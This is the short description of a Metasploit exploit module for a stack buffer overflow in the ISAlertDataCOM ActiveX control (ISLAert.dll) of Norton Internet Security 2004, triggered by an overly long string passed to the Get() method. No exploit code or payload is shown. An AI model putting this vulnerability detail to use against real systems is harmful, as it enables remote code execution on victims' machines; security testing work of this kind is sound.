This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004. By sending an overly long string to the “Get()” method, an attacker may be able to execute arbitrary code.

# This module requires Metasploit: https://metasploit.com/download
